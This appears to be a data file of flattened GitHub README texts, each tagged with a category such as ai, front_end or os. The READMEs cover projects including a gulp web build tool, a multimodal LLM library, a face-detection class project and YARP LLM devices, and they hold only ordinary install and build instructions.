writing software distributed under the license is distributed on an as is basis without warranties or conditions of any kind either express or implied see the license for the specific language governing permissions and limitations under the license | android fluent fluentdesign bottomsheet bottomnavigation microsoft vlstr blur blurview | os |
Adaboost-FaceDetection | group project cv uno spring 2013 matthew farmer devin villegas how to run this code features are created by the following scripts a horizontalhaar b verticalhaar c threerecthaar d fourrecthaar reverse polarity features are created by fvec 1 images are loaded by readtestimages readtrainimages three ways of calculating error iteratively naive functions these are bad included for analysis viola jones vectorized this is done with vjerrorcalc alsamman vectorized separatederrorcalcfunc these produce a threshold matrix of nx5 nx1 polarity representing which direction threshold takes 2 minimized error 3 value of the threshold 4 face recognition error 5 non face rejection error we can calculate error with functions for processing via adaboost or with a script which was used to perform the profiling test images we completed most not all of the code to do testing but did not finish the report in time to include it runfvectestset is a script which uses the classifier struct top x features then runs it through the fvecimganalyze function has not been modularized to handle any type of feature data analysis done with maptopclass passing in the indices of the top scoring features the scripts we ran are dataanalysisvj dra scale testing done with ratiotesting m scaleimgs m scalefvecimganalyze testingratiocoderesults m utility functions showfeature takes an fvec and the index of feature displays feature with imagesc as well as returns the feature | ai |
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nlp | a collection of nlp projects | ai |
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modernWebDevBuild | modern web dev build npm version https img shields io npm v modern web dev build svg https www npmjs com package modern web dev build downloads https img shields io npm dm modern web dev build svg https www npmjs com package modern web dev build build status https secure travis ci org dsebastien modernwebdevbuild png branch master https travis ci org dsebastien modernwebdevbuild coverage status https coveralls io repos dsebastien modernwebdevbuild badge svg branch master service github https coveralls io github dsebastien modernwebdevbuild branch master dependency status https david dm org dsebastien modernwebdevbuild svg theme shields io style flat https david dm org dsebastien modernwebdevbuild devdependency status https david dm org dsebastien modernwebdevbuild dev status svg theme shields io style flat https david dm org dsebastien modernwebdevbuild info devdependencies gitter https img shields io badge gitter join 20chat green svg style flat https gitter im dsebastien modernwebdevbuild utm source badge utm medium badge utm campaign pr badge license https img shields io cocoapods l afnetworking svg license md about a modern build for web development get started and use es2015 typescript sass code quality style checking testing minification bundling and whatnot today modernwebdevbuild abstracts away all the build pipeline boilerplate use it if you re not willing to dive too deep in the boring details of how to setup a proper build chain that takes care of transpiling minifying optimizing images and whatnot for production this project is very opinionated and technology choices are embedded although the build is pretty flexible about code assets organization to some extent over time it ll be interesting to see how customizable we can make this thing the provided build tasks are based on gulp http gulpjs com instructions are available below to get you started this project is available as an npm package https www npmjs com package modern web dev build demo a href http www youtube com watch feature player embedded v wc5itinyobw target blank img src http img youtube com vi wc5itinyobw 0 jpg alt modernwebdev build and generator demo width 240 height 180 border 10 a background the idea for this project emerged as i was rediscovering the state of the art for web development early 2015 and from my frustration of not finding everything i needed in a ready to use form what surprised me at first was that tooling had become so much more complex than it was in the past i would argue that it is way too complex nowadays and that isn t good for the accessibility of the web platform unfortunately for now there aren t many alternatives and the benefits of a good build chain are too important to keep aside who wouldn t want to use all the good stuff es2015 has brought us note that this project is heavily inspired from google s web starter kit https github com google web starter kit countless blog articles about gulp typescript many others i m forgetting features es2015 and typescript support built in http server with live reloading cross device synchronization browsersync configured to support cors awesome developer experience with a change detection mechanism that automagically transpiles typescript esx w sourcemaps you choose the target version transpiles es2015 esx w sourcemaps you choose the target version transpiles sass css w sourcemaps checks javascript typescript code quality style and report on the console without breaking the build production bundle creation support with css bundle creation css optimization minification js bundle creation js minification html minification images optimization check out the change log changelog md status roadmap check out the issues labels milestones to get an idea of what s next for existing features refer to the previous section embedded choices as state above some important technology choices are clearly embedded with this project here s a rundown of those choices typescript http www typescriptlang org and es2015 although the final output is es5 for wider compatibility systemjs https github com systemjs systemjs module loader jspm http jspm io to manage your application dependencies through jspm conf js jspm support can be disabled if you wish karma http karma runner github io to run tests sass http sass lang com who doesn t want variables and mixins component based code assets organization angular friendly jscs http jscs info and included code style rules jshint http jshint com and included code quality rules tslint https github com palantir tslint and included code quality style rules browsersync http www browsersync io development web server upgrade check out the upgrade upgrade md page installation general prereqs before you install the build whether manually or through the project generator you need to install some dependencies globally npm install global gulp new projects the easiest approach to integrate this build is to use our yeoman generator available over at https github com dsebastien modernwebdevgenerator and on npm https www npmjs com package generator modern web dev the generator will set up almost everything for you existing projects first configure the required dependencies in your package json file add modern web dev build to your devdependencies npm install modern web dev build save dev execute npm install no optional you should get warnings about missing peer dependencies those are dependencies that are required by the build but that you should add to your own project install these one by one for now the required peer dependencies are as follows babel core gulp jspm nodemon required by recommended npm scripts typescript next check the minimal require file contents below required folder structure and files the build tries to provide a flexible structure but given the technical choices that are embedded some rules must be respected and the build expects certain folders and files to be present in the future we ll see if we can make this more configurable mandatory folder structure files here s an overview of the structure imposed by modernwebdevbuild note that if you ve generated your project using the yeoman generator readme files will be there to guide you please make sure to check the file organization section for more background about the organization and usage guidelines project root app folder containing all the files of the application components folder containing components of your application e g login menu basically reusable pieces core folder containing at least the entrypoint of your application commons folder containing common reusable code e g base utilities services folder containing generic services e g for local storage boot ts the entrypoint of your application app ts the application root fonts folder containing fonts of your application if any images folder for image assets pages folder for full blown pages of your application scripts folder for scripts styles folder for the main stylesheets main scss file used to import all application specific stylesheets vendor scss file used to import all third party stylesheets note that the goal isn t to put all your stylesheets in there basically just the entrypoints and the generic parts e g variables mixins responsive styles index html the entrypoint of your application babelrc babel configuration file jscsrc jscs rule set to use while checking javascript code style reference http jscs info overview jshintrc jshint rule set to use while checking javascript code quality reference http jshint com docs note that the file is actually optional but indeed recommended jshintignore files and folders to ignore while checking javascript code quality gulpfile babel js gulp configuration file jspm conf js systemjs jspm configuration file can have another name if you do not use jspm see options karma conf js karma configuration file configuration of the test runner package json npm configuration file also used by jspm tsconfig json typescript compiler configuration tslint json typescript code quality style rules minimal build related required file contents although we want to limit this list as much as possible for everything to build successfully some files need specific contents babelrc presets es2015 plugins transform es2015 modules commonjs comments false with the configuration above babel will transpile es2015 code to es5 commonjs for that configuration to work the following devdependencies must also be added to your project babel plugin transform es2015 modules commonjs 6 3 x babel preset es2015 6 3 x gulpfile babel js in order to use modernwebdevbuild your gulpfile must at least contain the following the code below uses es2015 via gulpfile babel js but if you re old school you can also simply use a gulpfile js with es5 note that the build tasks provided by modernwebdevbuild are transpiled to es5 before being published use strict import gulp from gulp import modernwebdevbuild from modern web dev build let options undefined no options are supported yet options minifyhtml false modernwebdevbuild registertasks gulp options with the above all the gulp tasks provided by modernwebdevbuild will be available to you jscsrc valid configuration jshintrc at least the following node modules jspm packages jspm conf js dist tmp jspm conf js the systemjs jspm configuration file plays a very important role it is where all your actual application dependencies are to be defined it is where you can define your own paths allowing you to load modules of your application easily without having to specify relative paths i e create aliases for paths if you choose to use the default jspm support then you can add dependencies to your project using jspm install check the official jspm documentation http jspm io to know more about how to install packages with the help of this configuration file systemjs will be able to load your own application modules and well as third party dependencies in your code you ll be able to use es2015 style e g import x from y in order for this to work you ll also need to load systemjs and the systemjs jspm configuration file in your index html more on this afterwards if you have disabled the use of jspm by the build then you can rename that file if you wish and inform the build see the options but make sure that any reference in the various configuration files is updated e g karma configuration jshint configuration etc only rename it if it is really really useful to you here s an example system config defaultjsextensions true transpiler false paths github jspm packages github npm jspm packages npm core tmp core pages tmp pages in the above defaultjsextensions is mandatory so that extensions don t have to be specified when importing modules transpiler is set to false because we don t use in browser transpilation paths core pages allow you to import modules from different parts of your codebase without having to specify relative or absolute paths this is covered in the folder structure section above you can rename those if you wish package json in addition to the dependencies listed previously you also need to have the following in your package json file assuming that you want to use jspm jspm directories configfile jspm conf js dependencies devdependencies this is where you let jspm know where to save the information about dependencies you install this is also where you can easily add new dependencies for example angular2 npm angular2 2 0 0 beta 1 once a dependency is added there you can invoke jspm install to get the files and transitive dependencies installed and get an updated jspm conf js file tsconfig json given that typescript is one of the currently embedded choices of this project the typescript configuration file is mandatory the tsconfig json file contains the configuration of the typescript compiler typescript code style rules the list of files folders to include exclude here s is the minimal required contents for modernwebdevbuild note that the outdir value is important as it tells the compiler where to write the generated code make sure that you also do have the rootdir property defined and pointing to app otherwise the build will fail more precisely npm run serve will fail the build depends on the presence of those settings version 1 7 3 compileroptions target es5 module commonjs declaration false noimplicitany true suppressimplicitanyindexerrors true removecomments false emitdecoratormetadata true experimentaldecorators true noemitonerror false preserveconstenums true inlinesources false sourcemap false outdir tmp rootdir app moduleresolution node listfiles false exclude node modules jspm packages typings browser typings browser d ts here s a more complete example including code style rules version 1 7 3 compileroptions target es5 module commonjs declaration false noimplicitany true suppressimplicitanyindexerrors true removecomments false emitdecoratormetadata true experimentaldecorators true noemitonerror false preserveconstenums true inlinesources false sourcemap false outdir tmp rootdir app moduleresolution node listfiles false formatcodeoptions indentsize 2 tabsize 4 newlinecharacter r n converttabstospaces false insertspaceaftercommadelimiter true insertspaceaftersemicoloninforstatements true insertspacebeforeandafterbinaryoperators true insertspaceafterkeywordsincontrolflowstatements true insertspaceafterfunctionkeywordforanonymousfunctions false insertspaceafteropeningandbeforeclosingnonemptyparenthesis false placeopenbraceonnewlineforfunctions false placeopenbraceonnewlineforcontrolblocks false exclude node modules jspm packages typings browser typings browser d ts note the exclusion that we have made all of which are relevant and there to avoid known issues e g https github com typings discussions issues 6 if you are using typings tslint json tslint json is the configuration file for tslint https github com palantir tslint although it is not strictly mandatory the build will work without this file we heavily recommend you to use it as it is very useful to ensure a minimal code quality level and can help you avoid common mistakes and unnecessary complicated code here s an example rules class name true curly true eofline true forin true indent false tabs interface name false label position true label undefined true max line length false no any false no arg true no bitwise true no console false debug info time timeend trace no construct true no debugger true no duplicate key true no duplicate variable true no empty true no eval true no imports true no string literal false no trailing comma true no unused variable false no unreachable true no use before declare null one line true check open brace check catch check else check whitespace quotemark true double radix true semicolon true triple equals true allow null check variable name false no trailing whitespace true whitespace false check branch check decl check operator check separator check type check typecast karma conf js karma loads his configuration from karma conf js that file contains everything that karma needs to know to execute your unit tests here s an example configuration file that uses jasmine note that the main karma dependencies including phantomjs are included in the build you only need to add a dependency to jasmine karma jasmine and karma jspm for the following to work if you choose not to use jspm then you can use karma systemjs instead https www npmjs com package karma systemjs example karma configuration reference http karma runner github io 0 13 config configuration file html module exports function config config set base path that will be used to resolve all patterns eg files exclude basepath tmp plugins karma jspm karma jasmine karma phantomjs launcher karma chrome launcher karma firefox launcher karma ie launcher karma junit reporter karma spec reporter frameworks to use available frameworks https npmjs org browse keyword karma adapter frameworks jspm jasmine list of files patterns to load in the browser loaded before systemjs files list of files to exclude exclude list of paths mappings can be used to map paths served by the karma web server to base content knowing that base corresponds to the project root folder i e where this config file is located proxies tmp base tmp without this karma jspm can t load the files preprocess matching files before serving them to the browser available preprocessors https npmjs org browse keyword karma preprocessor preprocessors test results reporter to use possible values dots progress spec junit available reporters https npmjs org browse keyword karma reporter https www npmjs com package karma junit reporter https www npmjs com package karma spec reporter reporters spec web server port port 9876 enable disable colors in the output reporters and logs colors true level of logging possible values config log disable config log error config log warn config log info config log debug loglevel config log info enable disable watching file and executing tests whenever any file changes autowatch true start these browsers available browser launchers https npmjs org browse keyword karma launcher browsers phantomjs chrome firefox phantomjs ie continuous integration mode if true karma captures browsers runs the tests and exits singlerun false junitreporter outputfile target reports tests unit unit xml suite unit doc https www npmjs com package karma jspm reference config https github com gunnarlium babel jspm karma jasmine istanbul jspm path to your systemjs jspm configuration file config jspm conf js where to find jspm packages packages jspm packages one use case for this is to only put test specs in loadfiles and jspm will only load the src files when and if the test files require them loadfiles load all tests tmp spec js in case there are tests in the root folder tmp spec js make additional files a file pattern available for jspm to load but not load it right away servefiles tmp spec js make sure that all files are available systemjs configuration specifically for tests added after your config file good for adding test libraries and mock modules paths dev dependencies to add for the above karma configuration jasmine karma jasmine karma jspm minimal application specific required file contents although we want to limit this list as much as possible for everything to build successfully some files need specific contents core app ts this should be the top element of your application this should be loaded by core boot ts see below use strict export class app constructor console log hello world core boot ts the boot ts file is the entrypoint of your application currently it is mandatory for this file to exist with that specific name although that could change or be customizable later the contents are actually not important but here s a starting point use strict import app from core app bootstrap your app styles main scss the main scss file is where you should load all the stylesheets scattered around in your application here s an example of a main scss main stylesheet should import all the other stylesheets variables functions mixins and utils import base variables import base functions import base mixins import base utils base generic style rules import base reset import base responsive import base fonts import base typography import base base layout import layout layout import layout theme import layout print components import components posts posts pages import pages home home in the example above you can see that in the main scss file we import many other stylesheets sass partials here s another example this time for vendor scss includes imports all third party stylesheets used throughout the application should be loaded before the application stylesheets nicolas gallagher s normalize css import jspm packages github necolas normalize css 3 0 3 normalize css the path refers to the file at build time as you can see above a third party stylesheet is imported index html the index html file is the entrypoint of your application it is not mandatory per se for modernwebdevbuild but when you run npm run serve it ll be opened also the html build task will try and replace inject content in it here s the minimal required contents for index html required for production builds with minification and bundling doctype html html lang en head meta charset utf 8 stylesheets build css vendor link rel stylesheet href styles vendor css endbuild build css bundle link rel stylesheet href styles main css endbuild head body build js app for production this is all replaced by a minified bundle script src jspm packages system src js script script src jspm conf js script script system import core core bootstrap catch console error bind console script endbuild body html in the above the most important parts are for production the contents of build css vendor endbuild will be replaced by the vendor bundle created by the build for production the contents of build css bundle endbuild will be replaced by the application s css bundle created by the build for production the contents of build js app endbuild will be replaced by the application s js bundle created by the build also note that during development systemjs is loaded system src js the jspm configuration is loaded jspm conf js and systemjs is used to load the entrypoint of the application core core bootstrap commands once you have added modernwebdevbuild to your project you can list all the available commands using gulp help the command will give you a description of each task the most important to start discovering are gulp serve start a web server with live reload watching files transpiling generating sourcemaps etc gulp serve dist same with the production version gulp clean gulp ts lint check typescript code quality style gulp check js quality check javascript code quality gulp check js style check javascript code style gulp prepare test unit clean compile and check quality style gulp test unit run unit tests using karma prereq gulp prepare test unit you can run the gulp t command get an visual idea of the links between the different tasks scripts to make your life easier you can add the following scripts to your package json file note that if you have used the generator to create your project you normally have these already options the build can be customized by passing options defining options is done as in the following example gulpfile babel js use strict import gulp from gulp import modernwebdevbuild from modern web dev build let options options distentrypoint core core bootstrap available options distentrypoint must be a relative path from tmp to the file to use as entry point for creating the production js bundle the extension does not need to be specified systemjs is used to load the file by default the following file is used core boot js minifyproductionjsbundle default true by default the production js bundle is minified you can disable it by setting this option to false mangleproductionjsbundle default true by default the production js bundle is mangled you can disable it by setting this option to false usejspm default true by default the production js bundle is created using the jspm api which requires jspm configuration in your package json you can disable jspm by setting this option to false if you disable the usage of jspm then the systemjs builder api will be used to create the production js bundle https www npmjs com package systemjs builder systemjsconfigurationfile default jspm conf js by default if you disable jspm usage by the build it will expect to find jspm conf js as your systemjs configuration file you can define this option to customize the file name minifyproductionhtml default true by default the production html is minified you can disable it by setting this option to false browsersync pass in browsersync options see http www browsersync io docs options this should be defined like this browsersync browsersync options faq how can i inline some script in the production version of some html page add inline path to the js file right above the script tag that you want to have inlined this tells the gulp inline source plugin where to find the resource that should be inlined add the inline attribute to the script tag itself script inline src script example inline node modules angular2 bundles angular2 polyfills js script inline src node modules angular2 bundles angular2 polyfills js script note that the path specified in the inline comment is relative to the root of your project and not to the html file check out gulp inline source https www npmjs com package gulp inline source s documentation for more details build dependencies gulp build system https www npmjs com package gulp babel es2015 to es5 transpiler used for the gulp build typescript the typescript tools compiler systemjs builder build tool for systemjs allows to create a single file build of mixed dependency module trees https www npmjs com package systemjs builder browser sync live reloading browser syncing https www npmjs com package browser sync del deletes files folders https www npmjs com package del gulp autoprefixer automatically adds vendor prefixes to css https www npmjs com package gulp autoprefixer gulp cache temp file based caching proxy task for gulp https www npmjs com package gulp cache gulp changed only pass through changed files https www npmjs com package gulp changed gulp csso minify css with css optimizer https www npmjs com package gulp csso gulp flatten remove or replace relative path for files https www npmjs com package gulp flatten gulp if conditionally run a task https www npmjs com package gulp if gulp imagemin minify png jpeg gif and svg images https www npmjs com package gulp imagemin gulp inline source inline scripts stylesheets https www npmjs com package gulp inline source gulp jshint javascript code quality checker plugin for gulp that uses jshint https www npmjs com package gulp jshint gulp minify html minify html with minimize https www npmjs com package gulp minify html gulp clean css minify css with clean css https www npmjs com package gulp clean css gulp replace string replace plugin for gulp https www npmjs com package gulp replace gulp sass sass plugin for gulp https www npmjs com package sass node sass used by gulp sass and normally not needed but added to fix an issue with sourcemaps https github com sindresorhus gulp autoprefixer issues 10 gulp size display the size of the project https www npmjs com package gulp size gulp sourcemaps js source map support for gulp https www npmjs com package gulp sourcemaps gulp uglify minify files using uglify js https www npmjs com package gulp uglify gulp uncss remove unused css selectors https www npmjs com package gulp uncss gulp util utility methods for gulp https www npmjs com package gulp util gulp plumber prevent pipe breaking caused by errors from gulp plugins https www npmjs com package gulp plumber gulp notify display notifications on osx linux and windows native fallsback to growl or simply logging https www npmjs com package gulp notify gulp help create a list of gulp tasks with documentation https www npmjs com package gulp help gulp html replace replace build blocks in html https www npmjs com package gulp html replace gulp strip debug remove console and debugger statements from js code https www npmjs com package gulp strip debug gulp concat concatenate files https www npmjs com package gulp concat gulp rename rename files https www npmjs com package gulp rename gulp debug useful to verify the stream contents https www npmjs com package gulp debug gulp cssimport replace css imports by stylesheet contents https www npmjs com package gulp cssimport gulp nice package validate npm s package json file https www npmjs com package gulp nice package gulp inject javascript stylesheet and webcomponent injection https www npmjs com package gulp inject gulp tslint linter for typescript code https www npmjs com package gulp tslint gulp typescript typescript transpiler plugin for gulp https www npmjs com package gulp typescript gulp babel es2015 to es5 transpiler plugin for gulp https www npmjs com package gulp babel gulp jscs javascript code style checker plugin for gulp https www npmjs com package gulp jscs gulp jscs stylish stylish reporter for gulp jscs https www npmjs com package gulp jscs stylish jshint stylish stylish reporter for jshint https www npmjs com package jshint stylish opn open stuff like websites files executables cross platform https www npmjs com package opn require dir helper to require directories https www npmjs com package require dir run sequence run a series of dependent gulp tasks in order https www npmjs com package run sequence event stream construct pipes of streams of events https www npmjs com package event stream connect history api fallback useful to automatically redirect all non existent directories to the index file required for spas https www npmjs com package connect history api fallback karma unit test runner https www npmjs com package karma gulp wait wait https www npmjs com package gulp wait contributing fork the project create a feature branch in your fork rebase if needed to keep the project history clean commit your changes push to github try and flood me with pull requests building from source if you want to build from source you need to install nodejs and npm install gulp npm install global gulp clone this git repository run npm run setup run npm run build start hacking to clean you can run npm run clean project configuration files the project includes multiple configuration files here s some information about these gulpfile babel js gulp s configuration file this is where the build magic happens more information http gulpjs com package json npm s configuration file this is where all dependencies are defined more information https docs npmjs com files package json npm shrinkwrap json file created using npm shrinkwrap blocks dependency versions including transitive ones needed for build stability releasing a version commit all changes to include in the release edit the version in package json respect semver update changelog md commit git tag version git push tags draft the release on github add description etc npm publish authors sebastien dubois blog https www dsebastien net twitter https twitter com dsebastien github https github com dsebastien license this project and all associated source code is licensed under the terms of the mit license https en wikipedia org wiki mit license | build typescript | front_end |
mcv-m5 | mcv m5 master in computer vision m5 visual recognition fork this project fork this project to start your group project add dvazquezcvc and lluisgomez as contributors project description download the overleaf document https www overleaf com read qrjbtzwtjhmx project slides google slides for week 1 https docs google com presentation d 1a6hgbnn8n iq8mhsa rpiyf87dbl6pctodzy1zqs5xs edit usp sharing google slides for week 2 https docs google com presentation d 1q69lmzpzgtc4ldw8dr9yyfy t9jxhjjgl4shyxfjk3m edit usp sharing google slides for week 3 https docs google com presentation d 1wuzvetwul65dnki3vsbjghxwkffrfanwxbmr urklqq edit usp sharing google slides for week 4 https docs google com presentation d 1nb4tfrm1swddqzbr0aduv7t4p4f7t3guzdt5q psmmk edit usp sharing google slides for week 5 t b a google slides for week 6 t b a google slides for week 7 t b a peer review intra group evaluation form for week 2 https goo gl forms 7qgdluaqjrgtb37g2 intra group evaluation form for weeks 3 4 https goo gl forms v22bhu0xdzcrxpti3 intra group evaluation form for weeks 5 6 https goo gl forms wkhsda3nkkthocy52 intra group evaluation form for week 7 t b a paper reviewing process the articles review will be done as in a conference using the standard cmt platform site cmt https cmt3 research microsoft com mcvvr2017 important dates authors submission deadline 17th april 2017 reviewers reviewing deadline 28th april 2017 authors notification 2nd may 2017 camera ready 6th may 2017 instructions please register all of you already to the cmt start the submission of the article upload whatever you have up to now at any moment before the 17th you can change your submission remember that authors order matter first author should be the one that most contributed to the work lets start the fight news improve your github account following this document https docs google com document d 14oxskwbbmajib5bn2cm dnb vychy1f393qyfshnjfy edit usp sharing groups group 1 https github com santipuch590 vr project bel n luque anna mart santi puch arantxa casanova group 2 https github com vcampmany mcv m5 victor campmany pau cebri n arnau bar guillem cucurull group 3 https github com xeniasalinas mcv m5 lidia garrucho cristina bustos xian l pez x nia salina group 4 https github com acasadevall vr team4 arnau casadevall adri n salvador antoni p rez sergio castro group 5 https github com idoiaruiz mcv m5 roque rodr guez idoia ru z onofre martorel lidia talavera group 6 https github com llebronc mcv m5 jose luis g mez lu s lebron axel barroso group 7 https github com vsegura93 mcv m5 gonzalo benito v ctor segura marc grau marc carn group 8 https github com hprop mcv m5 jordi puyoles ignasi mas hugo prol group 9 https github com carlosb1 mcv m5 coen antens carlos b ez group 10 https github com davvision mcv m5 jaume garcia mart balcells group 11 https github com marccastor mcv m5 enric sala miguel vi as agn s borr s marc castell | ai |
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zuluCrypt | zulucrypt zulucrypt is a simple feature rich and powerful solution for hard drives encryption project s frontpage is at https mhogomchungu github io zulucrypt bugs wishes and comments can be reported at https github com mhogomchungu zulucrypt issues or to my private email address at mhogomchungu gmail com build status https api travis ci org mhogomchungu zulucrypt svg branch master https travis ci org mhogomchungu zulucrypt | front_end |
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automatic-pill-dispenser | automatic pill dispenser repository for the automatic pill dispenser course project part of the embedded systems design course this project was designed for the msp430fr6989 project owners wiliel florenciani jorge vega sebastian merced milton pagan | os |
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firelotto | firelotto international blockchain lottery | blockchain |
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multi_token | multi token embed arbitrary modalities images audio documents etc into large language models this library is designed to be an extension of llava for encoding anything images sounds documents videos motion capture screenshots voice recordings into a format that can used in large language models its primary contribution is the ability to embed multiple instances and modalities into a single model and a framework for doing so fairly easily potentially with this you could ask large multimodal models lmms read document and give me a summary listen to audio and answer the spoke question compare and contrast image and image given screenshot and game state what key should i press usage bash git clone https github com sshh12 multi token cd multi token pip install r requirements txt pip install e pip install flash attn no build isolation model zoo base model model notes mistralai mistral 7b instruct v0 1 https huggingface co mistralai mistral 7b instruct v0 1 sshh12 mistral 7b clip lora captions only demo https huggingface co sshh12 mistral 7b clip lora captions only demo this is a very limited image model trained on only a few caption only examples for the sake of demonstrating a proof of concept a fully trained model comparable to bakllava https github com skunkworksai bakllava is coming soon br br encode images as image and with images vision llava equivalent python scripts serve model py model name or path mistralai mistral 7b instruct v0 1 model lora path sshh12 mistral 7b clip lora captions only demo load bits 4 port 7860 python requests post http localhost 7860 generate json messages role user content tell me about this image image images https llava vl github io static images view jpg json output a dock on the lake ideas some ideas i want to try to implement in the near future ada2documentmodality encode documents into the language model s token space for a lossy 4 million token context window 500 lmm tokens 8k openai ada2 context window whispertranscriptmodality encode voice audio so you can do things like answer the question asked in audio given additional metadata like the speaker tone accent etc this could be trained to personalize the response in a way that chat based q a can t imagebindmodality encode images audio documents from imagebind https github com facebookresearch imagebind multiimage q a train a version of visionclipmodality aka llava that takes multiple images inputs and answers questions training add a modality you can do this by implementing an instance of multi token modalities base modality modality see clip for vision example https github com sshh12 multi token blob main multi token modalities vision clip py details summary see annotated example summary python class mymodality modality def init self def build projector self lm hidden size int nn module a pytorch module that converts a preprocessed item after forward into a tensor batch size x token width x lm hidden size property def name self str the name id for this modality return my modality property def token self str the token you ll use in text to represent this return my modality property def data key self str the key in your dataset rows for raw instances of this return my modality items property def token width self int how many tokens should we use to present instances of this too small and it s not descriptive enough too large and you are using up the context window return 1 def preprocess row self row dict optional torch tensor convert raw dataset rows into an arbitrary tensor to pass to forward torch no grad def forward self encoded values list torch tensor list torch tensor encode preprocess row output values into the format that will be fed into the projector details register this new modality by adding it to multi token modalities modality builders python modality builders my modality lambda mymodality dataset you can see some of the existing scripts https github com sshh12 multi token tree main scripts for putting things into the correct dataset format schema javascript llava clip example id arbitrary id 123 images path to image png messages role user content describe image role assistant content this is a potato custom id arbitrary id 123 my modality items path to data or just the full document messages role user content describe my modality role assistant content this is then save with dataset save to disk output folder pretraining use this command with standard huggingface training arguments deepspeed scripts train model py model name or path mistralai mistral 7b instruct v0 1 model cls mistrallmmforcausallm modality builder vision clip dataset path data llava chat captions output dir data output my lmm pretrain pretrain projectors lora enable true bf16 true tf32 true num train epochs 1 gradient checkpointing true per device train batch size 1 per device eval batch size 1 gradient accumulation steps 32 model max length 2048 evaluation strategy no save strategy steps save steps 1000 save total limit 1 learning rate 1e 5 weight decay 0 warmup ratio 0 03 lr scheduler type cosine dataloader num workers 2 logging steps 1 report to wandb deepspeed configs zero2 json the key arguments are modality builder the name of the modality builder to use see modality builders pretrain projectors freeze the language model and only train the projectors model cls the model class to use this should match your base model finetuning use this command with standard huggingface training arguments deepspeed scripts train model py model name or path mistralai mistral 7b instruct v0 1 model cls mistrallmmforcausallm modality builder vision clip pretrained projectors path data output my lmm pretrain checkpoint 4000 non lora trainables bin dataset path data llava chat captions output dir data output my lmm pretrain pretrain projectors lora enable true bf16 true tf32 true num train epochs 1 gradient checkpointing true per device train batch size 1 per device eval batch size 1 gradient accumulation steps 32 model max length 2048 evaluation strategy no save strategy steps save steps 1000 save total limit 1 learning rate 1e 5 weight decay 0 warmup ratio 0 03 lr scheduler type cosine dataloader num workers 2 logging steps 1 report to wandb deepspeed configs zero2 json the key arguments are modality builder the name of the modality builder to use see modality builders pretrained projectors path the path to the pretrained projectors from the pretraining step model cls the model class to use this should match your base model you can also omit pretrained projectors path to just train the full model from scratch according to the llava paper this is not as good as training the projectors first but it will work inference use the following to run a local flask server for inference python scripts serve model py model name or path mistralai mistral 7b instruct v0 1 model lora path data output lmm just trained folder port 7860 you can use this utility to upload your model to huggingface python scripts upload model py r username my new lmm m data output lmm just trained folder comparision to llava llava large language and vision assistant project page https llava vl github io demo https llava hliu cc data https github com haotian liu llava blob main docs data md model zoo https github com haotian liu llava blob main docs model zoo md improved baselines with visual instruction tuning paper https arxiv org abs 2310 03744 br haotian liu https hliu cc chunyuan li https chunyuan li yuheng li https yuheng li github io yong jae lee https pages cs wisc edu yongjaelee visual instruction tuning neurips 2023 oral paper https arxiv org abs 2304 08485 br haotian liu https hliu cc chunyuan li https chunyuan li qingyang wu https scholar google ca citations user hdiw tsaaaaj hl en yong jae lee https pages cs wisc edu yongjaelee equal contribution the inspiration and much of the source code for this project comes from the original llava https github com haotian liu llava implementation apache 2 0 core differences this library is designed to be more modular for adding custom encoders projectors in some areas the llava implementation was simplified e g stripped out a lot of the eval preprocessing code and non llama parts and in others more complex handling multiple types of modalities the tokenization and injection of projected encodings into the language model s token space are written from scratch but in theory do the exact same thing i like to think this project s prepare inputs labels for multimodal is a bit easier to grok and manipulate than the original you can use multiple instances of tokens from the same or different modalities where as llava was only for a single image for example given image and image answer the question asked in audio if one were to train a model using this library with the same base model and projection config as llava 1 5 i would expect nearly identical performance barring any bugs in this implementation todos multi gpu support full non lora training training quantization qlora efficient batch preprocessing efficient batch projection efficient batch collation based on example lengths efficient batch inference allow for non inst based instruction formats and system tokens support more base language models windows docker dev my local dev setup is windows wsl docker 3090 ti 24gb vram f is configured to be a large data drive that i share among containers 1 docker build t multi token dev 2 docker run it gpus all p 7860 7860 mount type bind source f docker hf cache target root cache huggingface mount type bind source f docker data target data name multi token dev multi token dev | large-language-models llava large-multimodal-models | ai |
MAD-Lab | mad lab for my mobile application development laboratory classes s no experiment apk signed 1 develop an application that uses gui components fonts and colours download https github com adenosinetp10 mad lab blob main ex1 app release app release apk 2 develop an application that uses layout managers and event listeners download https github com adenosinetp10 mad lab blob main ex2 app release app release apk 3 develop an application that draws basic graphical primitives on the screen download https github com adenosinetp10 mad lab blob main ex3 app release app release apk 4 develop an application that makes use of databases download https github com adenosinetp10 mad lab blob main ex4 app release app release apk 5 develop an application that uses notification manager download https github com adenosinetp10 mad lab blob main ex5 app release app release apk 6 implement an application that uses multi threading download https github com adenosinetp10 mad lab blob main ex6 app release app release apk 7 develop a native application that uses gps location information download https github com adenosinetp10 mad lab blob main ex7 app release app release apk | front_end |
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yarp-devices-llm | yarp logo https github com robotology yarp raw master doc images yarp robot 24 png raw true yarp devices for large language models this repository contains the yarp plugin for large language models documentation documentation of the individual devices is provided in the official yarp documentation page yarp documentation https img shields io badge documentation yarp it 19c2d8 svg https yarp it latest group dev impl html prerequisites to install gptdevice we need nlohmann json https github com nlohmann json curl https curl se liboai https github com d7ead liboai based on liboai recommendations it is recommended to install nlohmann json and libcurl using vcpkg install vcpkg curl and nlohmann json git clone https github com microsoft vcpkg git cd vcpkg bootstrap vcpkg sh disablemetrics vcpkg integrate install vcpkg install curl vcpkg install nlohmann json install liboai git clone https github com d7ead liboai git cd liboai liboai cmake b build s dcmake toolchain file path to vcpkg scripts buildsystems vcpkg cmake dcmake position independent code true cd build make j8 make install installation build with pure cmake commands configure compile and install cmake s bbuild dcmake install prefix install prefix dcmake toolchain file path to vcpkg scripts buildsystems vcpkg cmake dliboai install path path to liboai cmake build build cmake build build target install docker in alternative one can build a docker image by running cd yarp devices llm docker build t my img name configuration you need to copy env template into a env file with the correct information regarding your openai deployment note that currently gptdevice works only with an azure instance of gpt remember to source the env file in order to allow the device to connect to your gpt instance set a source env set a usage assuming that the user has already installed yarp https www github com robotology yarp and the related llm devices one can use this basic configuration example yarpserver set a source env set a yarprobotinterface from assets llmdeviceexample xml yarp rpc yarpgpt rpc help responses available commands setprompt readprompt ask getconversation deleteconversation help setprompt you are a geography expert who is very concise in its answers response ok ask what is the capital of italy response ok rome this answer may vary in the form hopefully not in the content ci status build status https github com robotology yarp devices llm workflows ci 20workflow badge svg https github com robotology yarp devices llm actions query workflow 3a 22ci workflow 22 license license https img shields io badge license bsd 3 clause blue svg https opensource org licenses bsd 3 clause this software is distributed under the terms of the bsd 3 clause maintainers this repository is maintained by img src https github com fbrand new png width 40 https github com 